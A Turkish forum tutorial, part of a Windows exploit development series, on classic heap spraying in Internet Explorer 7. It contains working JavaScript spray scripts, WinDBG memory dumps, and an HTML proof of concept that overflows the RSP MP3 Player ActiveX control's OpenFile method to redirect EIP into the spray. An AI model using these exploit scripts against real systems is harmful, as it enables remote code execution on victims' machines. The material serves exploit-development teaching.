Windows Exploit Geliştirme Serisi #8 | Yığın Püskürtme [Bölüm 1: Geleneksel EIP] – Samanlıkta İğne Aramak

Provido

Katılımcı Üye
21 Eki 2015
477
1
8. Bölüm: Yığın Püskürtme [Bölüm 1: Geleneksel EIP] – Samanlıkta İğne Aramak


Bu, Yığın Püskürtme ile ilgili 2 bölümlük bir eğitimin 1. Bölümüdür. Bu kısım IE7’deki “klasik” yığın spreyini kapsayacaktır, 2. Kısım hassas yığın spreylerini kapsayacak ve IE8’de kullanımında sonra serbest bırakılacaktır. Yığın püskürtülmesi, yığın exploiti ile veya herhangi bir exploit azaltma tekniğini atlayarak hiçbir ilgisi yoktur. Daha çok bir payload dağıtım yöntemidir. Çoğunlukla tarayıcıları kullanırken bu tekniğe ihtiyacınız olacak (ayrıca flash, PDF ve MS Office). Arabellek taşması ile, her zaman yığında belleğe yer ayırabileceğimize güveniriz ve shell kodu ona göre yazarız. Tarayıcıda veya Activex exploitinde bellek ayırabilseniz de daha iyi, daha güvenilir ve badchar içermeyen bir yol var. Bu yüzden yığını daraltmaya hazırlanın.

Tarayıcı sömürüsü için immunity debugger ve WinDBG arasında kaldım. Bana öyle geliyor ki immunity, verileri görselleştirmek ve bellekte dolaşmak için iyidir ancak WinDBG daha hızlı, daha güvenilir görünüyor ve gerçekten pratik bazı özelliklere sahip (en önemlisi javascript kesme noktasını kullanma). Seçimi size bırakıyorum, WinDBG’nin avantajları “bölüm 2” de daha belirgin hale gelecektir. WinDBG’yi kullanmadan önce özelleştirmeniz gerektiğini söylemem gerek, tam ve keyifli bir deneyim elde etmek için Windows sembollerini ayarlamayı unutmayın!

Bu tekniği tanıtmak için “RSP MP3 Player” için yeni bir exploit yaratacağız. Burada bu program için bir önceki exploiti görebilirsiniz. Tarayıcılarla oynamaya başladığınızda IE’nin birden çok sürümünün yüklü olması genellikle yararlı olacaktır. Buraya gidin ve IE koleksiyonunun bir kopyasını alın, tarayıcınızı son sürüme güncelleyin ve sonra IE koleksiyonun önceki sürümlerini kurun.


Hata Ayıklama Makinesi: Windows XP SP3 IE7 ile



Giriş



Her şeyden önce corelanc0d3r’a ait olduğu için ona teşekkürlerimi sunmak istiyorum. “Heap Spraying Demystified”, payload teslim edilmesi amacıyla yığın püskürtme ile ilgili daha ince noktaları açıklamak için mükemmel ve derinlemesine bir iş çıkarır. Corelanc0d3r tarafından yapılan işlerin çoğunu papağan gibi yazdığım için önceden özür dilerim ancak bu teoriyi kendi amaçlarım için tekrar ediyor; yoğunlaştırılmış bir formda örnek kullanmak için pratik bir hatayı gösteriyorum.

Yığın, toplam kullanılabilir belek alanının yalnızca küçük bir bölümünü içerir. Heapmanager, örneğin, programların veri boyutu hakkında önceden tanımlanmış kurallar olmadan verileri depolaması gerektiğinde, bellek parçalarını dinamik olarak dağıtabilir. Yığın ciddi bir iştir ve her zaman olduğu gibi, bilmeniz gereken her şeyi açıklayamam/açıklamayacağım ancak devam etmeniz için gereken bilgileri vereceğim.

Yığın ayırıcısı hakkında bilmemiz gereken birkaç basit şey var. (1) bellek dinamik olarak ayrılır ve serbest bırakıldığında yığın parçalanır. (2) Bir yığında bellek parçası serbest bırakıldığında, ön veya arka uç ayırıcıya gönderilir (işletim sistemine ve mimariye göre değişir). Ayırıcı, yığın ayırmalarını optimize etmek için bir önbelleğe alma hizmetine benzer. Önceden de belirttiğimiz gibi, yığını ayırmak veya serbest bırakmak (=kötü), bu parçalanmayı en aza indirmek için ayırıcı, uyulamaya daha önce serbest bırakılmış, aynı boyuta sahip olması koşuluyla, bir yığın bellek sağlayabilir. Böylece yeni ayırılan miktar azalır (=iyi). (3) Yığın belleği dinamik olarak dağıtılsa da, yığın ayırıcısı ardışık parçaları ayırmayı sever (parçalanmayı tekrar azaltmak için). Bu yığının aslında saldırganların bakış açısından gerekli olduğu anlamına gelir. Yeterince büyük ardışık ayırıcı göz önüne alındığında, verileri kullanabileceğimiz yığın üzerinde belirli bir yere güvenilir bir şekilde koyabiliriz (düşük miktarda dağınıklık ile).

“Yığın Püskürtme” kavramı ilk olarak 2004 yılında blazde ve SkyLines tarafından, Internet explore iframe etiket arabellek taşması exploitini kullandığında tanıtıldı. Aynı genel teknik, IE7, firefox 3.6.24, Opera 11.60’ a kadar çoğu tarayıcı exploiti tarafından kullanılmıştır. Daha sonraki tarayıcılarda daha doğru yığın püskürtmeyi nasıl yapacağımızı bölüm 2 eğitiminde anlatacağım.

Şu şekilde düşünün. Bir hata (vanilya EIP, use-after-free, vb) bize keyfi bir 4 bayt yazma verirse ve payloadımızı saklamak için yığın üzerinde bir kod mağarası oluşturabiliriz, daha sonra yürütme akışını shell kodumuza yönlendirmek için bu yazıyı kullanabiliriz ve b00m, artık yürütme kodumuz var! Javascript kurtarmaya! En şaşırtıcı şey, javascript’in doğrudan yığın üzerindeki stinglerin yerini değiştirebilmesi ve biraz kurnazlıkla, kullanmak istediğimiz herhangi bir tarayıcı için ihtiyaçlarımızı karşılamak için yığın şekillendirebiliriz! Bu eğitimin ana “parçası”, yığın üzerinde nasıl güvenilir yer ayırabileceğimizi açıklamak olacaktır. Aşağıdaki resimde size ne yapmak istediğimize dair bir fikir vermelidir.



xmZ7DN.png




Bu ilginizi çekmek için yeterli olmalıdır. Önce yığın ayırmasını yapma sürecinden geçeceğiz ve sonra bu bilgiyi bir ActiveX exploiti yazmak için uygulayacağız.


Shell Kodu Yığını

Daha önce de belirttiğim gibi, yığın püskürtme meşru javascript özelliklerinden yararlanan bir payload dağıtım tekniğidir. Yığın üzerinde bazı basit dizeleri ayırmaya çalışalım.



Kod:
<html>
<body>
<script language='javascript'>
 
    var myvar = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //
 
    alert("al******** done");
 
</script>
</body>
</html>



Aşağıdaki ekran görüntüsünden ASCII dizemizi yığına koymayı başardığımızı görebiliriz. Javascript unescape kullandığımızı unutmayın, aksi takdirde dizemiz UNICODE’da saklanır.


s -a 0x00000000 L?7fffffff "FuzzySecurity"

d 032e3fdc



xm6Sej.png




Şimdiye kadar çok iyi ancak hedefimizin yığını NOP + shell kodu dizileriyle doldurmak olduğunu unutmayın. Javascriptimizi değiştirmeye çalışalım böylece NOP’un shell kodunu tanımlayabilir ve bu diziyi yığın üzerinde “bloklar” olarak saklamaya devam edebiliriz.



Kod:
<html>
<body>
<script language='javascript'>
  
    size = 0x3E8;  // 1000-bytes
    NopSlide = ''; // Initially set to be empty
  
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //
     
    // Keep filling with nops till we reach 1000-bytes
    for (c = 0; c < size; c++){ 
    NopSlide += unescape('%u9090%u9090');}
    // Subtract size of shelccode
    NopSlide = NopSlide.substring(0,size - Shellcode.length);
     
    // Spray our payload 50 times
    var memory = new Array();
    for (i = 0; i < 50; i++){
    memory[i] = NopSlide + Shellcode;}
  
    alert("al******** done");
  
</script>
</body>
</html>



Esasen 1000 baytlık bir payload bloğu oluşturuyoruz ve sonra bu bloğu 51 kez tekrarlıyoruz (0-50 =51 aralığında). Aşağıda “bloklarımızın” yapısını görebilirsiniz, onları python’da temsil edersek bazı karışıklıkları ortadan kaldırabiliriz.

"\x90"*(1000-len(shellcode)) + shellcode

WinDBG’deki yer ayırmalarımıza bakmanın zamanı geldi. Aşağıda gördüğünüz gibi, WinDBG şimdi ASCI dizemizden 51 örneğini listeledi. Yer ayırmaları izlersek görünüşe göre, başlangıçta bloklar bazen çöplerle çevrelenmiş ancak listenin daha da aşağısında mükemmel bir şekilde tutarlı olduklarını görüyoruz.



Kod:
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the al********s look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................



Tamam hiçte fena değil, oldukça uzun bir yol kat ettik. Ama kuşkusuz, ardışık yer ayırmamızda da biraz şanslıydık. Şu anda yapmak istediğimiz: (1) Daha fazla veri tahsis edeceğiz, böylece daha fazla yığın belleğini doldururuz (daha yüksek bellek aralıklarının üzerine yazıp) ve (2) “blok” boyutunu değitir böylece IE, BSTR nesnesi başına bir blok ayırır ve böylece sıralı yer ayırmalarımızın güvenliğini arttırır ve “bloklar” arasında ölü bir bölgeye denk gelme riskini azaltır. Aşağıda son yığın püskürtme komut dosyamızı bulabilirsiniz (ayrıca halka açık exploitlerde de kullanılan). Bu scripti IE7’ye kadar IE’nin tüm sürümlerinde test ettim ve çok tutarlı.



Kod:
<html>
<body>
<script language='javascript'>
 
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //
  
    var NopSlide = unescape('%u9090%u9090');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    alert("al******** done");
 
</script>
</body>
</html>



Bu komut dosyası çok daha büyük blokları püskürtür 0x40000 (= 262144 bayt = 0.25mb) ve bu blokları 500 kez tekrarlar (= 125 mb yığın püskürtmesi). Ayrıca, shell kodumuzun boyutunun 1000 bayttan büyük olma ihtimalinin düşük olduğunu unutmayın bu da bloklarımızın NOP’ların yaklaşık %99.997’sinden oluştuğu anlamına gelir bu da, onları atlamayı son derece güvenilir hale getirir! Püskürtmenin WinDBG’de neye benzediğine bir bakalım.



Kod:
Looking at our string in memory show us that the offset from the start of
the heap enrty to our payload seems to be consisten across all sprays (except
in the beginning but that is due to pre-existing fragmentation). This is a good
sign for reliability. We can also see that the memory range we are overwriting 
is much much larger.

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity.. 
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at the process environment block (PEB) will tell us what the default 
ProcessHeap is (this is where our al********s will be stored). Alternatively
you can run "!heap -stat" and look at the ammount of commited bytes
on a per-heap basis.

0:014> !peb
PEB at 7ffd8000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00251e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
    Ldr.InLoadOrderModuleList:           00251ec0 . 00255918
    Ldr.InMemoryOrderModuleList:         00251ec8 . 00255920
            Base TimeStamp                     Module
          400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
        7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
        7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
        77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
        77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
        767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
        77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
        76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
        76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
    SubSystemData:     00000000
    ProcessHeap:       00150000
    ProcessParameters: 00020000
    CurrentDirectory:  'C:\********s and Settings\Administrator\Desktop\'
    WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    ImageFile:    'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    CommandLine:  'about:home'
[...Snip...]

Ok lets print out al******** statistics for this heap specifically. We can
see that 98.63% of the busy blocks in this heap belong to our spray.

0:014> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f4 - f9fc180  (98.63)
    3fff8 3 - bffe8  (0.30)
    1fff8 4 - 7ffe0  (0.20)
    7ffd0 1 - 7ffd0  (0.20)
    7ff8 b - 57fa8  (0.14)
    fff8 5 - 4ffd8  (0.12)
    1ff8 21 - 41ef8  (0.10)
    3ff8 d - 33f98  (0.08)
    ff8 f - ef88  (0.02)
    7f8 18 - bf40  (0.02)
    8fc1 1 - 8fc1  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fd0 1 - 7fd0  (0.01)
    7db4 1 - 7db4  (0.01)
    614 14 - 7990  (0.01)
    57e0 1 - 57e0  (0.01)
    20 208 - 4100  (0.01)
    5e4 b - 40cc  (0.01)
    4e4 c - 3ab0  (0.01)
    3980 1 - 3980  (0.01)
    
We can also list all blocks that have the same size (in our case 0x7ffe0)

0:014> !heap -flt s 7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03ad0018 fffc 0000  [0b]   03ad0020    7ffe0 - (busy VirtualAlloc)
        03bf0018 fffc fffc  [0b]   03bf0020    7ffe0 - (busy VirtualAlloc)
        03c80018 fffc fffc  [0b]   03c80020    7ffe0 - (busy VirtualAlloc)
        03d10018 fffc fffc  [0b]   03d10020    7ffe0 - (busy VirtualAlloc)
        03da0018 fffc fffc  [0b]   03da0020    7ffe0 - (busy VirtualAlloc)
        03e30018 fffc fffc  [0b]   03e30020    7ffe0 - (busy VirtualAlloc)
        03ec0018 fffc fffc  [0b]   03ec0020    7ffe0 - (busy VirtualAlloc)
        03f50018 fffc fffc  [0b]   03f50020    7ffe0 - (busy VirtualAlloc)
[...Snip...]
        15110018 fffc fffc  [0b]   15110020    7ffe0 - (busy VirtualAlloc)
        151a0018 fffc fffc  [0b]   151a0020    7ffe0 - (busy VirtualAlloc)
        15230018 fffc fffc  [0b]   15230020    7ffe0 - (busy VirtualAlloc)
        152c0018 fffc fffc  [0b]   152c0020    7ffe0 - (busy VirtualAlloc)
        15350018 fffc fffc  [0b]   15350020    7ffe0 - (busy VirtualAlloc)
        153e0018 fffc fffc  [0b]   153e0020    7ffe0 - (busy VirtualAlloc)
        15470018 fffc fffc  [0b]   15470020    7ffe0 - (busy VirtualAlloc)
        15500018 fffc fffc  [0b]   15500020    7ffe0 - (busy VirtualAlloc)



Şimdiye kadar kendinize şunu söylüyor olabilirsiniz: “Evet bu çok havalı ama ne anlamı var?”. Normalde exploit geliştirmede, 4 baytlık bir yazıya sahip olduğumuzda, uygulama modüllerinden birinde bir talimat için bir işaretçi ile üzerine yazarız. Güvenilirlik için, bu işaretçiyi (EIP gibi) bellekteki shell kodumuzun adresi ile doğrudan yazmayız. Yığın püskürtmesi durumunda, yığın bellek düzenini doğrudan belirleyebiliriz ve 4 baytlık yazma noktalarımızda kullandığımız herhangi bir statik bellek adresinin yığın üzerindeki NOP’larımıza işaret ettiğinden emin oluruz. Aynı adres her zaman arabellekte tam olarak aynı yeri göstermez, bizim NOP-slide’ımız (%99.997 olduğunu hatırlayın) o kadar büyük ki exploiti her başlattığımızda vuracağımızdan emin olabiliriz. NOP’u çalıştırdıktan sonra, shell kodumuza gireceğiz ve yürütme koduna sahibiz! Aşağıda uygun bir işaretçi bulmak için bakacağımız olağan şüphelileri görebilirsiniz. Bu adreslerdeki işlem koduna bir göz atarsak, şüphelerimizin doğrulandığını görebiliriz.

Tahmin Ettiğimiz İşaretçiler:
- 0x05050505
- 0x06060606
- 0x07070707
- ....


Özel bir önemi olan başka bir adres 0x0c0c0c0c’dir ancak, bu eğitimin 2. Bölümünde açıklayacağım.



xm6JBM.png




Kod:
0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................



Yine söylüyorum, eğitimin bu kısmında kesinlik konusunda çok endişelenmemize gerek olmayan “klasik” yığın püskürtmesi ile ilgileniyoruz. 2. Kısımda aşırı hassasiyet gerektiren püskürtmeleri kapsayacaktır. Çünkü, (1) DEP ile uğraşmamız gerektiğinden ve/veya (2) Use-After-Free exploitlediğimizden dolayı. Eh, bizim exploitimiz için zemini hazırladık, bu yüzden, bir shell açma zamanı geldi.


Crash’i Tekrarlama + EIP


RSP MP3 Player’ı eğitimin başlangıcındaki linklerden indirin. ocx dosyasını kaydetmek için bir komut istemcisi açın, ocx dosyasını içere klasöre gidin ve “regsvr32 resmp3ocx320sw.cos” yazın. Dosyanın başarıyla kaydedildiğini söyleyen bir ekran görmelisiniz. Ayrıca, COMRaider’ın bir kopyasını buradan indirin ve yükleyin. COMRaider kullanımı kolay ve çökmeler için test yapılmasını sağlayan kaba ama etkili bir ActiveX fuzzerıdır (vbscript olmasına rağmen). Buradaki orjinal exploite baktığımızda çökmenin OpenFile ocx üye fonksiyonundan kaynaklandığını görebiliriz. Bu üyeyi sadece bulanıklaştırırsak, toplam 18 vakadan 14 istisnayı tetiklediğimizi görebiliriz. respmp3ocx320sw bulanıklaştırmak tüm zamanımı almadı ama bunu yaparsanız, çok sayıda exploitlenebilir çökme bulacağınızdan şüphelenmeyin!



xm4AXY.png



xm6kPv.png



xm6Ez6.png




Bir çökmeye neden olan test durumlarından birine bakarsak, exploit-db’deki exploite çok benzer olduğunu görebiliriz.



Kod:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
 
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = "C:\********s and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype  = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid     = "RSPMP3_320.RSPMP3"
argCount   = 1
 
arg1=String(1044, "A")
 
target.OpenFile arg1 
 
</script></job></package>



Biraz araştırma yapıp vbscript’i javascript’ dönüştürdükten sonra, çökmeyi tetikleyen aşağıdaki html’yi buldum. Structured Exception Handler aracılığıyla EIP üzerinde kontrol sahibi oluyoruz ancak gerçektende önemli değil, başarmak istediğimiz tek şey, yığın püskürtmesinde öngörülebilir işaretçilerden biriyle EIP’nin üzerine yazmaktır.



Kod:
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
     
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>


Kod:
eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
06060606 ??              ???
0:014> d 06060606
06060606  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060616  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060626  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060636  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060646  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060656  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060666  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060676  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????


Gördüğümüz gibi, EIP’yi 0x06060606 ile başarıyla yeniden yazdık (tahmin ettiğimiz işaretçilerden birisi ile) ve yürütme akışı hatası ortaya çıktı çünkü bu adreste henüz bir talimat bulunmuyor. İlginç bir konu olarak arabelleğimiz çok kesin değil, SEH arabelleğe 650 bayt civarında bir yerde olduğunu düşünüyorum ancak yine söylüyorum, bu çok önemli değil çünkü EIP’ye yığın püskürtmesine bir trambolin olarak ihtiyacımız var.


Shell Kodu + Oyun Bitti


Tamam, ilk olarak exploit için istenen bir shell kodu oluşturalım. Javascript Little Endian olarak kodlamayı unutmayalım.



Kod:
root@bt:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@****sploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 255
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@****sploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
